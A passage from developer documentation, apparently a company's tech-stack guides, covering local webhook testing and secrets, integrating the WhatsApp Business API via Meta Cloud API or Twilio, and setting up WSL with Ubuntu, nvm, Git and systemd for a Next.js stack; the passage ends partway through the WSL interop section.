stripe trigger payment_intent.succeeded
gh webhook forward --repo owner/repo --events=push --url=http://localhost:3000/api/webhooks/github
clerk webhooks listen                                           # Clerk CLI relay tunnel

# Anything else: tunnel localhost to a public HTTPS URL
ngrok http 3000

Use the whsec_... that stripe listen prints in .env.local, not the Dashboard endpoint's secret. For Daraja, Safaricom says public tunnels are "usually blocked". If sandbox callbacks don't arrive through ngrok, use a deployed preview URL with Deployment Protection off for that path (see ../daraja api/CLAUDE_CODE_INTEGRATION.md).

To unit-test handlers without a network, sign your own payloads: stripe.webhooks.generateTestHeaderString({ payload, secret }), new Webhook(secret).sign(id, date, payload) (svix / standardwebhooks), and sign(secret, payload) from @octokit/webhooks-methods.


Secrets

Real secrets only (placeholders shown). Store them in the vault or .env.local, and in Vercel environment variables for deployed apps:

STRIPE_SECRET_KEY=sk_test_...
STRIPE_WEBHOOK_SECRET=whsec_...
CLERK_WEBHOOK_SIGNING_SECRET=whsec_...
GITHUB_WEBHOOK_SECRET=your-random-secret
RESEND_WEBHOOK_SECRET=whsec_...

Provider-specific keys (Shopify client secret, Twilio auth token, Meta App Secret, Notion verification_token, Sentry client secret, Figma passcode) follow the same rule: server-side only, one per endpoint, never NEXT_PUBLIC_*.

Setting (not a secret) Example Notes
Webhook route /api/webhooks/<provider> One route and one secret per provider
Daraja callback route /api/payments/stk/callback No mpesa/safaricom in the URL (Safaricom URL rules)
Timestamp tolerance 300 s SDK default; don't widen without a reason

Observability & debugging


Security checklist


codeAmani notes

Official docs:

WhatsApp Business API Integration Guide

Technology: whatsapp-business-api · Category: comms · Last reviewed: 2026-08-23

Source: https://tech-stack.codeamanilabs.org/guide/whatsapp-business-api

Insight:

WhatsApp is Kenya's dominant chat app. The operational crux: you can only send free-form messages within a 24-hour window of the user's last message — outside it you need pre-approved template messages. Choose Meta Cloud API (cost/control) vs Twilio (speed/unification); same +254… E.164 trap as Africa's Talking.

██╗    ██╗██╗  ██╗ █████╗ ████████╗███████╗ █████╗ ██████╗ ██████╗
██║    ██║██║  ██║██╔══██╗╚══██╔══╝██╔════╝██╔══██╗██╔══██╗██╔══██╗
██║ █╗ ██║███████║███████║   ██║   ███████╗███████║██████╔╝██████╔╝
██║███╗██║██╔══██║██╔══██║   ██║   ╚════██║██╔══██║██╔═══╝ ██╔═══╝
╚███╔███╔╝██║  ██║██║  ██║   ██║   ███████║██║  ██║██║     ██║
 ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝

██████╗ ██╗   ██╗███████╗██╗███╗   ██╗███████╗███████╗███████╗     █████╗ ██████╗ ██╗
██╔══██╗██║   ██║██╔════╝██║████╗  ██║██╔════╝██╔════╝██╔════╝    ██╔══██╗██╔══██╗██║
██████╔╝██║   ██║███████╗██║██╔██╗ ██║█████╗  ███████╗███████╗    ███████║██████╔╝██║
██╔══██╗██║   ██║╚════██║██║██║╚██╗██║██╔══╝  ╚════██║╚════██║    ██╔══██║██╔═══╝ ██║
██████╔╝╚██████╔╝███████║██║██║ ╚████║███████╗███████║███████║    ██║  ██║██║     ██║
╚═════╝  ╚═════╝ ╚══════╝╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝╚══════╝    ╚═╝  ╚═╝╚═╝     ╚═╝

WhatsApp Business API Integration Guide

Focus: Reach Kenyan/East-African users on their dominant chat app via two paths — Meta Cloud API (direct, lowest cost, full control) or Twilio (a wrapper that unifies WhatsApp with SMS/Voice and smooths webhooks). The operational crux for both is the 24-hour session window + pre-approved template messages.

Overview

Here's the big picture at a glance — two routes to the same WhatsApp user, with the 24-hour window deciding session vs template:

flowchart TD
  App["Your app"] --> Meta["Meta Cloud API<br/>REST Graph API"]
  App --> Twilio["Twilio<br/>messages.create wrapper"]
  Meta --> WA["WhatsApp"]
  Twilio --> WA
  WA --> User["Kenyan user"]
  User -->|"inbound message"| Webhook["Your webhook<br/>verify signature"]
  Webhook -->|"within 24h"| Session["Free-form session message"]
  Webhook -->|"outside 24h"| Template["Pre-approved template message"]

WhatsApp Business has no single SDK — it's a platform with two common integration routes:

Key rule (both paths): you may send free-form session messages only within 24 hours of the user's last inbound message. Outside that window you must send a pre-approved template message (templates are submitted to Meta and categorized: marketing, utility, authentication).

Official Documentation

Resource URL
Meta Cloud API https://developers.facebook.com/docs/whatsapp/cloud-api
Cloud API — send messages https://developers.facebook.com/docs/whatsapp/cloud-api/guides/send-messages
Cloud API — webhooks https://developers.facebook.com/docs/whatsapp/cloud-api/guides/set-up-webhooks
Business Management API — message templates https://developers.facebook.com/docs/whatsapp/business-management-api/message-templates/
Twilio WhatsApp https://www.twilio.com/docs/whatsapp
Twilio Node SDK https://github.com/twilio/twilio-node

Path A — Meta Cloud API (REST)

You've got this — here's the full Cloud API round trip, from opening a conversation with a template to handling the user's reply inside the 24h window:

sequenceDiagram
  participant You as "Your server"
  participant Graph as "Graph API"
  participant WA as "WhatsApp"
  participant User as "User"
  You->>Graph: POST messages type template
  Graph->>WA: deliver template message
  WA->>User: order_confirmation
  User->>WA: replies within 24h
  WA->>You: webhook with X-Hub-Signature-256
  You->>You: verify HMAC-SHA256 of raw body
  You->>Graph: POST messages type text free-form
  Graph->>User: Hello

Get a Phone Number ID + System User Access Token from the Meta dashboard, then POST to the Graph API:

# Free-form text (only valid inside the 24h window)
curl 'https://graph.facebook.com/v26.0/<PHONE_NUMBER_ID>/messages' \
  -H 'Authorization: Bearer <ACCESS_TOKEN>' -H 'Content-Type: application/json' \
  -d '{
    "messaging_product": "whatsapp",
    "recipient_type": "individual",
    "to": "254712345678",
    "type": "text",
    "text": { "body": "Hello!" }
  }'
# Template message (required to OPEN a conversation / outside the 24h window)
curl 'https://graph.facebook.com/v26.0/<PHONE_NUMBER_ID>/messages' \
  -H 'Authorization: Bearer <ACCESS_TOKEN>' -H 'Content-Type: application/json' \
  -d '{
    "messaging_product": "whatsapp",
    "to": "254712345678",
    "type": "template",
    "template": { "name": "order_confirmation", "language": { "code": "en" } }
  }'

Verify inbound webhooks with the X-Hub-Signature-256 header (HMAC-SHA256 of the raw body using your app secret) before processing.

Creating & getting templates approved

The order_confirmation template above doesn't exist until you submit it to Meta and it's approved. Every template carries a category — UTILITY (transactional: receipts, OTP-free order updates), MARKETING (promos, re-engagement), or AUTHENTICATION (one-time passcodes) — and Meta prices and reviews them by category. After you submit, the template enters PENDING, then moves to APPROVED or REJECTED (with a rejection reason); only an APPROVED template can be sent. Templates are created against your WhatsApp Business Account (WABA) ID, not the Phone Number ID used to send.

flowchart TD
  Draft["Draft template<br/>name · language · category"] --> Submit["POST WABA_ID message_templates"]
  Submit --> Pending["PENDING<br/>under Meta review"]
  Pending --> Approved["APPROVED<br/>safe to send"]
  Pending --> Rejected["REJECTED<br/>fix and resubmit"]
  Approved --> Send["Send via Phone Number ID"]
# Create a UTILITY template (submitted for approval -> PENDING)
curl 'https://graph.facebook.com/v26.0/<WABA_ID>/message_templates' \
  -H 'Authorization: Bearer <ACCESS_TOKEN>' -H 'Content-Type: application/json' \
  -d '{
    "name": "order_confirmation",
    "language": "en",
    "category": "UTILITY",
    "components": [
      {
        "type": "BODY",
        "text": "Hi {{1}}, your order {{2}} is confirmed. Asante!",
        "example": { "body_text": [["Amani", "KE-1024"]] }
      },
      { "type": "FOOTER", "text": "codeAmani Labs" }
    ]
  }'

The {{1}}/{{2}} positional placeholders require an example so reviewers can see real values; when you later send, you fill them via the template's parameters. Check status before sending — filter by name on the WABA endpoint:

# Confirm APPROVED before sending outside the 24h window
curl 'https://graph.facebook.com/v26.0/<WABA_ID>/message_templates?name=order_confirmation' \
  -H 'Authorization: Bearer <ACCESS_TOKEN>'
# -> data[].status: PENDING | APPROVED | REJECTED

Gotcha: outside the 24-hour window you can send only APPROVED templates — a free-form text or a PENDING/REJECTED template will be dropped. Categorize honestly: MARKETING templates cost more than UTILITY and a marketing-flavored message submitted as UTILITY will be re-categorized or rejected by Meta, breaking your send flow. (Twilio users: the same Meta-approved templates apply, referenced by contentSid instead of name.)

Path B — Twilio

npm install twilio        # or: pip install twilio
const client = require("twilio")(
  process.env.TWILIO_ACCOUNT_SID,
  process.env.TWILIO_AUTH_TOKEN,
);

await client.messages.create({
  from: "whatsapp:+14155238886",     // Twilio WhatsApp sandbox / your approved sender
  to: "whatsapp:+254712345678",      // note the whatsapp: prefix + E.164 with +
  body: "Hello from codeAmani",      // session message; use contentSid for templates
});

Twilio signs inbound webhooks with X-Twilio-Signature — validate it with the SDK's validateRequest helper.

codeAmani notes

Official docs:

WSL — Linux on Windows Developer Guide

Technology: wsl · Category: tooling · Last reviewed: 2026-08-23

Source: https://tech-stack.codeamanilabs.org/guide/wsl

Insight:

WSL 2 runs a real Linux kernel in a lightweight managed VM beside Windows — 100% syscall compatibility, systemd, Docker, GPU. Ubuntu is the default distro and the one to use: wsl --install gives you the current Ubuntu LTS with systemd already on. The one rule that decides your whole experience: keep project files in the Linux filesystem (/home/you/code), never on /mnt/c. Cross-OS file access is the single thing WSL 1 does faster; storing code on the Linux side makes WSL 2 up to 20× faster on I/O-heavy work (git clone, npm install). It's the right place to run Claude Code on a Windows machine — a native Linux toolchain with Windows interop one explorer.exe . away.

██╗    ██╗███████╗██╗
██║    ██║██╔════╝██║
██║ █╗ ██║███████╗██║
██║███╗██║╚════██║██║
╚███╔███╔╝███████║███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝

WSL — Linux on Windows Developer Guide

Focus: Everything a developer needs to run Linux on Windows with WSL — install, architecture, Ubuntu distro management and first-run setup, the apt/Node toolchain for the codeAmani stack, the filesystem performance rule, the full command + config reference, systemd, Docker/GPU/USB/GUI, Windows Terminal, editors over Remote-WSL, and running Claude Code inside WSL. Grounded in learn.microsoft.com and Canonical's Ubuntu-on-WSL docs; reviewed 2026-08-23.

Good news: getting a real Ubuntu environment on Windows is now a one-command affair, and once you internalise a single rule (keep your code on the Linux side), it's genuinely fast and pleasant. Work through the diagrams below, copy the commands as you go, and you'll have a production-grade dev box in an afternoon. Let's dive in.

Table of Contents

  1. Overview & architecture
  2. Install & first run
  3. Which Ubuntu? Flavours, versions & the distro manifest
  4. Your Ubuntu user account
  5. WSL 1 vs WSL 2
  6. Distribution management
  7. The filesystem: interop & the performance rule
  8. The Ubuntu toolchain for the codeAmani stack
  9. Command reference
  10. Configuration: .wslconfig vs wsl.conf
  11. systemd & Linux services
  12. Interop: running Windows ↔ Linux
  13. Networking & ports
  14. Docker, databases, GPU, USB & GUI apps
  15. Windows Terminal & shell setup
  16. Editors: VS Code & Cursor over Remote-WSL
  17. Claude Code in WSL
  18. Disposable distros
  19. Automations & dotfiles
  20. Troubleshooting
  21. codeAmani notes

The interactive learn module above this page is a live filesystem-location advisor + WSL1/WSL2 explorer — start there for intuition, then use this reference.


Official Documentation

Resource URL
WSL docs (root) https://learn.microsoft.com/windows/wsl/
Install WSL https://learn.microsoft.com/windows/wsl/install
Basic commands https://learn.microsoft.com/windows/wsl/basic-commands
Set up a dev environment (first run) https://learn.microsoft.com/windows/wsl/setup/environment
Comparing WSL 1 & 2 https://learn.microsoft.com/windows/wsl/compare-versions
Working across filesystems https://learn.microsoft.com/windows/wsl/filesystems
Advanced settings (config) https://learn.microsoft.com/windows/wsl/wsl-config
systemd support https://learn.microsoft.com/windows/wsl/systemd
Networking https://learn.microsoft.com/windows/wsl/networking
Managing disk space https://learn.microsoft.com/windows/wsl/disk-space
Node.js on WSL https://learn.microsoft.com/windows/dev-environment/javascript/nodejs-on-wsl
Ubuntu on WSL (Canonical) https://documentation.ubuntu.com/wsl/

1. Overview & architecture

The Windows Subsystem for Linux lets you run an unmodified Linux distribution (Ubuntu, Debian, Kali, openSUSE, Arch, AlmaLinux, Fedora, …) directly on Windows — Linux apps, utilities, and Bash — without a traditional VM or dual-boot.

WSL 2 (the default) runs a genuine Linux kernel inside a lightweight utility VM, giving 100% system-call compatibility, systemd, Docker, and GPU compute. Each distro is an isolated container inside that shared managed VM — which is why wsl --shutdown stops all of them at once. Here's the whole picture in one diagram; notice the two filesystems, because that distinction decides your performance:

flowchart TB
  PS["PowerShell / Terminal"]
  EXP["File Explorer"]
  APP["Windows apps"]
  subgraph VM["Lightweight utility VM · Hyper-V"]
    K["Real Linux kernel + systemd"]
    U["Ubuntu container<br/>ext4.vhdx"]
    D2["Second distro<br/>own ext4.vhdx"]
    LFS["Linux fs: /home/you/code · FAST"]
    MNT["/mnt/c: Windows C drive · slow across boundary"]
    K --> U
    K --> D2
    U --> LFS
    U --> MNT
  end
  PS -->|wsl.exe interop| K
  EXP -->|"wsl.localhost share"| LFS
  APP -->|mount| MNT

Prerequisites: Windows 11, or Windows 10 version 2004 / build 19041+ for the wsl --install command. (WSL 2 itself needs Windows 11 or Win 10 version 1903 / build 18362+.)

WSL ships from the Microsoft Store, not Windows Update. Since Windows 19044+, wsl --install pulls the Store-serviced package, so new WSL features land without waiting on an OS update. wsl --update keeps it current; wsl --update --web-download works where the Store is blocked by policy.


2. Install & first run

Open PowerShell as Administrator and run one command:

wsl --install

That single command does a surprising amount of work for you — here's the whole flow, start to finish:

flowchart LR
  A["wsl --install"] --> B["Enable WSL + VM Platform"]
  B --> C["Download Linux kernel"]
  C --> D["Set WSL 2 as default"]
  D --> E["Install Ubuntu (latest LTS)"]
  E --> F["Reboot"]
  F --> G["Create Linux user + password"]
  G --> H["sudo apt update && sudo apt upgrade"]

This enables the WSL + Virtual Machine Platform components, downloads the latest Linux kernel, sets WSL 2 as default, and installs Ubuntu. Reboot when prompted. On first launch you create a Linux username + password (separate from Windows — see §4).

# Install a specific distro instead of the default Ubuntu
wsl --list --online                 # see installable distros (alias: wsl -l -o)
wsl --install -d Ubuntu-24.04       # pin a specific Ubuntu LTS
wsl --install -d Ubuntu --no-launch # install now, do first-run setup later
wsl --install --no-distribution     # install WSL itself, no distro yet

# Keep WSL itself up to date
wsl --update
wsl --version                       # confirm WSL / kernel / WSLg versions

Useful --install flags, all current:

Flag Effect
-d, --distribution <Name> Which distro to install (on Windows 11 the bare wsl --install Ubuntu-24.04 also works)
--no-launch Install without running first-run setup
--web-download Fetch from the web instead of the Microsoft Store
--location <Dir> Install the distro's VHD somewhere other than %LOCALAPPDATA% — use this to keep a large distro off a small C: drive
--from-file <file.wsl> Install a tar-based distro image you downloaded yourself (WSL 2.4.4+)
--no-distribution Install the WSL platform only
--inbox Use the in-Windows component instead of the Store package (updates then come via Windows Update)
--enable-wsl1 Also enable the legacy WSL 1 optional component

If wsl --install only prints the help text, WSL is already present — use wsl --install -d <Distro>. If a download hangs at 0.0%, add --web-download.

Immediately after first launch, update the distro. Windows never updates your Linux packages for you:

sudo apt update && sudo apt upgrade -y
lsb_release -dc          # confirm which Ubuntu release + codename you're on

3. Which Ubuntu? Flavours, versions & the distro manifest

wsl --list --online reads a manifest that groups distros by flavour, and each flavour has a default entry plus pinned versions. For Ubuntu that means these names are valid after -d:

Name to pass -d What it is Use it when
Ubuntu The flavour default — tracks the current Ubuntu LTS and follows it forward across point releases Default choice. This is what plain wsl --install gives you
Ubuntu-26.04 Ubuntu 26.04 LTS, pinned You want a release that will not move under you
Ubuntu-24.04 Ubuntu 24.04 LTS, pinned Matching an existing prod base image / CI runner
Ubuntu-22.04 Ubuntu 22.04 LTS, pinned Legacy toolchain that hasn't been ported
Ubuntu-20.04 Ubuntu 20.04 LTS, pinned Reproducing an old bug only

Canonical also publishes an Ubuntu (Preview) app that tracks the current development release — useful for testing, never for a machine you ship from.

wsl --list --online                 # confirm the exact names on YOUR machine
wsl --install -d Ubuntu-26.04       # pinned LTS
wsl --install -d Ubuntu             # rolling-LTS flavour default

Which should you pick? Match production. Our services run on Linux containers, so pin the Ubuntu LTS your Dockerfile's base image uses (FROM node:22-bookworm is Debian, FROM ubuntu:24.04 is 24.04) and you get genuine dev/prod parity. If nothing constrains you, take the flavour default Ubuntu and let it ride the LTS train.

Running two Ubuntus side by side is normal and cheap. Each is an independent container with its own ext4 VHD, users, and packages. A pinned Ubuntu-24.04 for a client project alongside Ubuntu for everything else costs disk, not complexity:

wsl --install -d Ubuntu-24.04
wsl -l -v                    # both listed, each with its own version + state
wsl -d Ubuntu-24.04          # launch the pinned one without changing the default
wsl --set-default Ubuntu     # decide which one bare `wsl` opens

Modern Ubuntu images are tar-based .wsl files, not Store .appx packages. You can download one from ubuntu.com/wsl and install it directly, which is the path to take on a locked-down machine where the Microsoft Store is unavailable:

wsl --install --from-file C:\Downloads\ubuntu-24.04.wsl
# ...or just double-click the .wsl file in File Explorer

4. Your Ubuntu user account

The first launch of any Ubuntu distro prompts for a UNIX username and password. This trips people up more than it should, so, precisely:

passwd                       # change your own password
whoami                       # who am I actually running as?
id                           # uid/gid — matters for /mnt/c permission masks

Forgot the password? Get in as root from the Windows side and reset it:

wsl -d Ubuntu -u root        # root shell, no password needed
passwd yourusername          # set a new one, then `exit`

Change which user launches by default — two ways, depending on how the distro got installed:

# Store/launcher distros (Ubuntu, Ubuntu-24.04, ...)
ubuntu config --default-user johndoe
# /etc/wsl.conf — works for EVERY distro, including imported ones,
# which have no launcher .exe and so cannot use `config --default-user`
[user]
default=johndoe

Then wsl --terminate Ubuntu (or wsl --shutdown) and relaunch — wsl.conf is read at distro start.


5. WSL 1 vs WSL 2

WSL 2 is the recommended default. The official feature comparison:

Feature WSL 1 WSL 2
Windows ↔ Linux integration ✅ ✅
Fast boot, small footprint ✅ ✅
Managed VM ❌ ✅
Full Linux kernel ❌ ✅
Full system-call compatibility ❌ ✅
Performance across OS file systems ✅ ❌
systemd support ❌ ✅
Runs alongside current VMware/VirtualBox ✅ ❌
IPv6 ✅ ✅

Read the table this way: WSL 2 wins everywhere except cross-OS file access — and you neutralise that by keeping files on the matching filesystem (§7). WSL 2 runs up to 20× faster unpacking a tarball and 2–5× faster on git clone / npm install / cmake than WSL 1 — when files live on the Linux side.

Pick WSL 1 only if: files must live on the Windows filesystem and you access them from Linux tools; you need a serial port (WSL 2 has no serial support — USB is covered by usbipd-win); or you have strict host-memory limits.

wsl -l -v                       # which version is each distro on?
wsl --set-version Ubuntu 2      # convert a distro to WSL 2
wsl --set-default-version 2     # default for new installs

Converting between versions rewrites the whole filesystem. On a distro with large projects, wsl --export first — Microsoft explicitly warns conversions can fail mid-flight.


6. Distribution management

wsl -l -v                                    # installed distros + version + state
wsl -l --running                             # only the ones currently up
wsl --set-default Ubuntu                     # set the default distro
wsl -d Ubuntu-24.04                          # launch a specific distro
wsl -d Ubuntu -u root                        # ...as a specific user
wsl ~                                        # open the default distro at $HOME

# Backup / clone / move a distro (export → import)
wsl --export Ubuntu D:\backups\ubuntu.tar    # snapshot to tar  (--vhd for .vhdx)
wsl --import UbuntuClone D:\wsl\clone D:\backups\ubuntu.tar
wsl --import-in-place Ubuntu-Old D:\wsl\ext4.vhdx   # adopt an existing ext4 VHD
wsl --unregister UbuntuClone                 # delete a distro + its disk (irreversible)

# Disk sizing (WSL 2.5+)
wsl --shutdown
wsl --manage Ubuntu --resize 256GB           # grow the ext4 VHD; see `wsl --manage --help`

--export/--import is your portable backup and the way to move a distro off the system drive. --unregister permanently deletes the distro's ext4 VHDX — back up first.

Disk space facts worth knowing. Each distro is an ext4.vhdx allocated a 1 TB maximum by default (512 GB / 256 GB on older WSL releases). The VHD grows on demand but does not shrink on its own when you delete files — that's why a distro that once held a big node_modules keeps eating disk. Enable sparse VHDs so new distros release freed space back to Windows:

# %UserProfile%\.wslconfig
[experimental]
sparseVhd=true

Never touch the VHD from Windows. The files under %LOCALAPPDATA%\Packages\...\LocalState\ are the live Linux disk; editing them with Windows tools corrupts the distro. Reach Linux files through \\wsl.localhost\Ubuntu\... instead (§7).


7. The filesystem: interop & the performance rule

The single most important WSL habit. Get this one right and everything feels fast; get it wrong and you'll blame WSL for being slow when it's really the boundary crossing. Each filesystem is fast from its own OS and slow across the boundary:

flowchart LR
  LT["Linux tools: git, npm, builds"]
  WT["Windows tools: Explorer, editors"]
  LFS["Linux fs: /home/you/code"]
  MNT["Windows fs: /mnt/c"]
  LT -->|FAST| LFS
  WT -->|FAST| MNT
  LT -->|"2-20x SLOWER"| MNT
  WT -->|slow| LFS
Where the files are Path from Linux Path from Windows Fast for
Linux filesystem (ext4 VHDX) /home/you/code \\wsl.localhost\Ubuntu\home\you\code Linux tools ✅
Windows filesystem /mnt/c/Users/you/code C:\Users\you\code Windows tools ✅

✅ Keep your repos in the Linux filesystem (/home/you/...) when you work with Linux tooling (git, npm, build chains). Putting them on /mnt/c forces every file op across the OS boundary and is dramatically slower. \\wsl$ still works as an alias for \\wsl.localhost.

# Jump between worlds
explorer.exe .                       # open the current Linux dir in File Explorer
cd /mnt/c/Users/you/Downloads        # reach the Windows C: drive from Linux
# In Windows File Explorer address bar:  \\wsl.localhost   (or the older \\wsl$)
# Clone into the Linux fs (fast), NOT /mnt/c (slow)
mkdir -p ~/code && cd ~/code
git clone https://github.com/codeAmani-Solutions/your-repo.git

Windows drives mount through DrvFs, and its defaults matter. /mnt/c mounts with umask=022, fmask=000, dmask=000, and metadata disabled — which is why every file on /mnt/c looks 777 and chmod silently does nothing. Turning metadata on gives real Linux permissions on Windows files (and is what makes shell scripts on /mnt/c executable):

# /etc/wsl.conf
[automount]
enabled=true
options="metadata,umask=22,fmask=11"
root=/mnt/

Two more cross-boundary hazards, both worth fixing on day one:


8. The Ubuntu toolchain for the codeAmani stack

This is the sequence that turns a fresh Ubuntu into a box that can build our Next.js 15 / React 19 / TypeScript projects. Run it once, in order.

8.1 Base packages

sudo apt update && sudo apt upgrade -y
sudo apt install -y \
  build-essential \
  git curl wget unzip \
  ca-certificates gnupg lsb-release \
  jq ripgrep fd-find

build-essential is not optional: it pulls in gcc, g++, and make, which any npm package with a native addon (sharp, better-sqlite3, node-gyp fallbacks) needs at install time. Installing it up front turns a whole class of confusing npm install failures into non-events.

8.2 Node.js — use nvm, not apt install nodejs

Microsoft's own guidance is explicit here: the Node in Ubuntu's apt repositories is outdated, and mixing an apt-installed Node with a version manager produces "strange and confusing conflicts". Remove any existing Node first, then install nvm:

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/master/install.sh | bash
exec $SHELL -l                 # or close and reopen the terminal
command -v nvm                 # should print "nvm"

nvm install --lts              # current LTS — what we build against
nvm install node               # optional: current release, for testing
nvm alias default lts/*        # LTS is what new shells get
node -v && npm -v

With nvm you never sudo npm install -g again — globals land in ~/.nvm, owned by you. Per-project switching works off .nvmrc:

echo "lts/*" > .nvmrc
nvm use                        # honours .nvmrc in the current repo
corepack enable                # pnpm / yarn shims, shipped with Node

Alternatives: fnm (faster, Rust), volta, n, asdf. All fine — pick one and only one. The failure mode is always two managers fighting over $PATH.

8.3 Git + credentials

git config --global user.name  "Your Name"
git config --global user.email "you@codeamani.com"
git config --global init.defaultBranch main
git config --global core.autocrlf input          # never write CRLF from Linux
git config --global pull.rebase true

Reuse the Windows Git Credential Manager so you are not pasting PATs into a Linux shell — GCM stores them in the Windows Credential Manager, encrypted per Windows account:

git config --global credential.helper \
  "/mnt/c/Program\ Files/Git/mingw64/bin/git-credential-manager.exe"

The GitHub CLI is worth having too — it authenticates once and covers PRs, issues, and releases:

sudo mkdir -p -m 755 /etc/apt/keyrings
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg \
  | sudo tee /etc/apt/keyrings/githubcli-archive-keyring.gpg > /dev/null
sudo chmod go+r /etc/apt/keyrings/githubcli-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" \
  | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null
sudo apt update && sudo apt install -y gh
gh auth login

8.4 Verify the stack end to end

mkdir -p ~/code && cd ~/code
npx create-next-app@latest smoke-test --ts --app --tailwind --eslint
cd smoke-test && npm run dev

Open http://localhost:3000 in the Windows browser — localhost forwarding means it just works (§13). If npm install was fast and the dev server hot-reloads on save, your filesystem placement is right. If file watching misses changes, you are on /mnt/c — move the repo to ~/code.

Why file watching breaks on /mnt/c: inotify events do not propagate across the 9P boundary reliably, so Next.js Fast Refresh and tsc --watch go quiet. This is the same root cause as the slowness, and it has the same fix.


9. Command reference

All from PowerShell/CMD (use wsl.exe from inside Linux):

Command Does
wsl --install [-d <Distro>] Install WSL + a distro
wsl --install --from-file <x.wsl> Install a tar-based distro image (WSL 2.4.4+)
wsl --list --online List installable distros
wsl -l -v List installed distros, version, state
wsl -l --running / -l --quiet Only running distros / names only
wsl --set-version <Distro> <1|2> Convert a distro's WSL version
wsl --set-default-version 2 Default version for new distros
wsl --set-default <Distro> Which distro bare wsl opens
wsl -d <Distro> [-u <User>] Launch a specific distro, optionally as a user
wsl ~ Launch the default distro at $HOME
wsl --update [--web-download] Update WSL itself
wsl --version / wsl --status WSL/kernel/WSLg versions · default distro + version
wsl --shutdown Stop the WSL 2 VM + all distros (apply .wslconfig)
wsl --terminate <Distro> Stop one distro
wsl --export <Distro> <file> Snapshot a distro (--vhd for .vhdx)
wsl --import <Name> <dir> <file> Restore/clone a distro
wsl --import-in-place <Name> <vhdx> Adopt an existing ext4 VHD as a distro
wsl --unregister <Distro> Delete a distro + its disk
wsl --manage <Distro> --resize <size> Resize the distro's VHD (WSL 2.5+)
wsl --mount <DiskPath> / --unmount Attach/detach a physical or virtual disk
wsl hostname -I WSL 2 VM IP address
<Distro> config --default-user <User> Default login user (launcher distros only)

wslconfig.exe, bash.exe, and lxrun.exe are the deprecated originals. Everything is wsl/wsl.exe now.


10. Configuration: .wslconfig vs wsl.conf

Two files, two scopes:

Aspect .wslconfig wsl.conf
Scope Global — the WSL 2 VM, all distros Per-distro (works on WSL 1 too)
Location %UserProfile%\.wslconfig (Windows) /etc/wsl.conf (inside the distro)
Configures RAM, CPUs, swap, networking, kernel, VHD size boot/systemd, automount, network, interop, default user, GPU, timezone
Applied by wsl --shutdown, then relaunch Distro restart (wsl --terminate <Distro>)
# %UserProfile%\.wslconfig  — global WSL 2 VM tuning
[wsl2]
memory=8GB              # cap VM RAM (default: 50% of host)
processors=4            # logical CPUs (default: all)
swap=2GB                # default: 25% of memory, rounded up to the GB
localhostForwarding=true
guiApplications=true    # WSLg
networkingMode=mirrored # better VPN/IPv6 compatibility (Win11 22H2+)
dnsTunneling=true       # default true
firewall=true           # Hyper-V firewall applies Windows rules to WSL
autoProxy=true          # inherit the Windows HTTP proxy
defaultVhdSize=274877906944   # 256GB cap for NEW distros (default 1TB)

[experimental]
autoMemoryReclaim=gradual     # NOTE: experimental section, not [wsl2]
sparseVhd=true                # new VHDs shrink when files are deleted

⚠️ autoMemoryReclaim and sparseVhd live under [experimental], not [wsl2]. Put them in the wrong section and WSL silently ignores them — a config that looks right and does nothing.

# /etc/wsl.conf  — per-distro settings
[boot]
systemd=true
command="service ssh start"    # runs as root at distro start (Win11 / Server 2022)

[automount]
enabled=true
options="metadata,umask=22,fmask=11"   # real Linux perms on /mnt/c files
root=/mnt/
mountFsTab=true

[network]
hostname=amani-dev
generateResolvConf=true        # false if you want to hand-write /etc/resolv.conf

[interop]
enabled=true                   # run Windows .exe from Linux
appendWindowsPath=true         # add Windows PATH to the Linux PATH

[user]
default=johndoe

[gpu]
enabled=true

[time]
useWindowsTimezone=true        # keeps the distro clock on the Windows timezone

The 8-second rule. Closing a distro window doesn't stop it — the subsystem keeps running for roughly 8 seconds. Editing wsl.conf, closing the window, and reopening it often reads the old config. Confirm with wsl -l --running ("There are no running distributions") before relaunching, or just use wsl --terminate <Distro> / wsl --shutdown.

WSL Settings is now a real GUI app in the Start menu, and Microsoft recommends it over hand-editing .wslconfig. Use it when you want a slider; use the file when you want it in your dotfiles repo.


11. systemd & Linux services

Ubuntu installed via wsl --install ships with systemd already enabled — no configuration needed. Check first before you go editing files:

systemctl list-unit-files --type=service   # works ⇒ systemd is running
ps -p 1 -o comm=                           # should print "systemd"

To enable it on a distro that doesn't have it (requires a Store-serviced WSL; wsl --version must be recognised):

sudo nano /etc/wsl.conf
[boot]
systemd=true
wsl --shutdown        # from Windows, then relaunch the distro

Once systemd is PID 1, Ubuntu behaves like a normal server — which is exactly what you want for local Postgres, Redis, or an SSH daemon:

sudo systemctl enable --now postgresql
systemctl status postgresql
journalctl -u postgresql -n 50 --no-pager

Services enabled with systemctl enable start when the distro starts — which is the first time you open a shell in it, not when Windows boots. If you want a service up without opening a terminal, wsl -d Ubuntu -- true from a Windows startup task is enough to boot the distro.

For databases specifically — whether to run Postgres as a systemd service or as a Docker container in WSL — see the local-database guide.


12. Interop: running Windows ↔ Linux

# Run Windows programs from Linux (note the .exe)
explorer.exe .            # open current dir in File Explorer
code .                    # launch VS Code connected to WSL
clip.exe < file.txt       # copy file contents to the Windows clipboard
powershell.exe -c "Get-Date"
notepad.exe config.json
cmd.exe /C dir            # CMD builtins need cmd.exe /C

# Pipe across the boundary
cat report.csv | clip.exe
ls | findstr.exe ".log"   # Linux output → Windows tool
ipconfig.exe | grep IPv4 | cut -d: -f2
# Run Linux commands from Windows
wsl ls -la ~
wsl --cd ~ -- bash -lc "npm run build"
wsl grep -r "TODO" .
dir | wsl grep git

Windows executables invoked from Linux keep the WSL working directory, run as the active Windows user, and show up in Task Manager as if launched from CMD. Names are case-sensitive and must include .exe.

Share environment variables with WSLENV. It is a colon-separated list of variable names, each optionally suffixed with flags: /p translates a path between Windows and Linux form, /l marks a path list, /u sends it only Windows→WSL, /w only WSL→Windows.

# Windows side: make MY_TOKEN visible in WSL, and translate MY_DIR to a Linux path
setx WSLENV "MY_TOKEN/u:MY_DIR/p"

